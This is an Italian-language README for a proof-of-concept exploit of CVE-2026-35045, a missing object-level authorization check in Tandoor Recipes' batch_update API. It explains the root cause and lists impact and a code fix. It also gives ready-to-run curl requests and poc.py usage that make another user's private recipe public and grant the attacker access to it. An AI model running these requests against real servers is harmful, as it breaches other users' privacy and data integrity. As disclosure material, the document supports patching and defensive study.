
Proof-of-concept exploit per CVE-2026-35045, una vulnerabilità di autorizzazione a livello di oggetto non corretta in Tandoor Recipes, che dimostra la modifica non autorizzata delle ricette tramite l'endpoint API batch_update.
L'endpoint PUT /api/recipe/batch_update/ in Tandoor Recipes v2.6.1 consente a qualsiasi utente autenticato all'interno di uno Spazio di modificare qualsiasi ricetta in quello Spazio — incluse le ricette private di proprietà di altri utenti. Questo bypassa completamente i controlli di autorizzazione a livello di oggetto applicati su tutti gli endpoint standard per singola ricetta.
La causa principale è una lacuna comportamentale di Django REST Framework: le azioni di lista con detail=False non invocano mai has_object_permission(), ma solo has_permission(). Il queryset filtra esclusivamente per space=request.space, senza alcun controllo su created_by, private o la lista shared. Un attaccante può forzare l'esposizione di ricette private, auto-concedersi accesso persistente, revocare i permessi di altri utenti e manomettere i metadati — il tutto in una singola chiamata API dall'aspetto non autorizzato che restituisce HTTP 200 OK con corpo vuoto.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente |
| CVSS v3.1 | 8.1 ALTA — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Versione Affetta | Tandoor Recipes ≤ 2.6.1 |
| Vendor | TandoorRecipes/recipes |
detail=False Bypassa i Controlli di Permesso a Livello di OggettoFile: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Nessun controllo su created_by o private
)
In Django REST Framework, le azioni registrate con detail=False sono azioni di lista. Non chiamano mai get_object(), il che significa che check_object_permissions() e CustomRecipePermission.has_object_permission() non vengono mai invocate. Viene eseguita solo has_permission() — che verifica l'appartenenza allo Spazio, non la proprietà della ricetta.
PUT /api/recipe/{id}/ segue il flusso completo dei permessi DRF:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ nega l'accesso se la ricetta è privata e non di proprietà/condivisa con il richiedente
L'endpoint batch_update salta silenziosamente l'intera catena.
RecipeBatchUpdateSerializer espone i seguenti campi — scrivibili su qualsiasi ricetta nello Spazio:
| Campo | Effetto |
|---|---|
private | Attiva/disattiva la visibilità della ricetta |
shared_add / shared_remove / shared_set | Manipola la lista di controllo degli accessi |
keywords_add / keywords_remove / keywords_set | Altera i metadati della ricetta |
working_time / waiting_time | Modifica i dati temporali della ricetta |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attaccante│ ─────────────────────────────────────→│ Server Tandoor │
│ (Utente B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Membro Spazio)│
│ │
│ has_object_ │
│ permission() │
│ ✗ MAI CHIAMATA │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Nessun controllo di proprietà
│
▼
┌────────────────┐
│ Ricetta ID 2 │
│ (di proprietà di A)│
│ private=false ← modificata
│ shared=[2] ← auto-concessa
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attaccante (B) │
│ ora ha accesso │
│ completo alla │
│ Ricetta ID 2 │
└────────────────┘
requestspip install requests
# Forza l'esposizione di una ricetta privata e auto-concedi l'accesso (predefinito)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Solo esposizione forzata (imposta private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Solo auto-concessione (aggiungi alla lista shared, mantieni private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| Azione | Descrizione |
|---|---|
expose | Imposta private: false sulla ricetta target — forza la visibilità a tutti i membri dello Spazio |
self_grant | Aggiunge l'ID utente dell'attaccante a shared_add — concede accesso persistente anche se la ricetta rimane privata |
both | Esegue entrambe le azioni in una singola richiesta (predefinito) |
1. Pre-condizione — La ricetta è inaccessibile tramite endpoint standard
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Previsto: 404 (privata, non di proprietà)
2. Exploit — batch_update senza autorizzazione
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# Previsto: HTTP 200 OK — {}
3. Post-condizione — La ricetta è ora accessibile
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Previsto: HTTP 200 con dati della ricetta, private=false
4. Verifica tramite elenco ricette
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Previsto: 2 <nome_ricetta> False
| Area di Impatto | Descrizione | Gravità |
|---|---|---|
| Esposizione Forzata della Ricetta | Impostare private: false rende qualsiasi ricetta visibile a tutti i membri dello Spazio | Alta |
| Auto-Concessione Non Autorizzata | Aggiungere il proprio ID utente tramite shared_add concede accesso persistente in lettura/scrittura a qualsiasi ricetta | Alta |
| Revoca dell'Accesso | Utilizzare shared_remove o shared_set per rimuovere utenti legittimi dalla lista di condivisione di una ricetta | Alta |
| Manomissione dei Metadati | Modifica di working_time, waiting_time e keywords su ricette di proprietà di altri utenti | Media |
Filtra il queryset per created_by=request.user per limitare le operazioni batch alle ricette di proprietà:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← Correzione: limita alle ricette di proprietà
)
Se gli amministratori dello Spazio necessitano della capacità di aggiornare in batch qualsiasi ricetta, aggiungi una condizione basata sui ruoli:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
Qualsiasi azione con detail=False che opera su singoli oggetti deve applicare manualmente l'autorizzazione a livello di oggetto. has_object_permission() di DRF non viene mai chiamata per le azioni di lista — questa responsabilità ricade interamente sullo sviluppatore.
Questa prova di concetto è fornita esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento.
Filipe Gaudard — Ricercatore di Sicurezza Offensiva | eWPT | eWPTx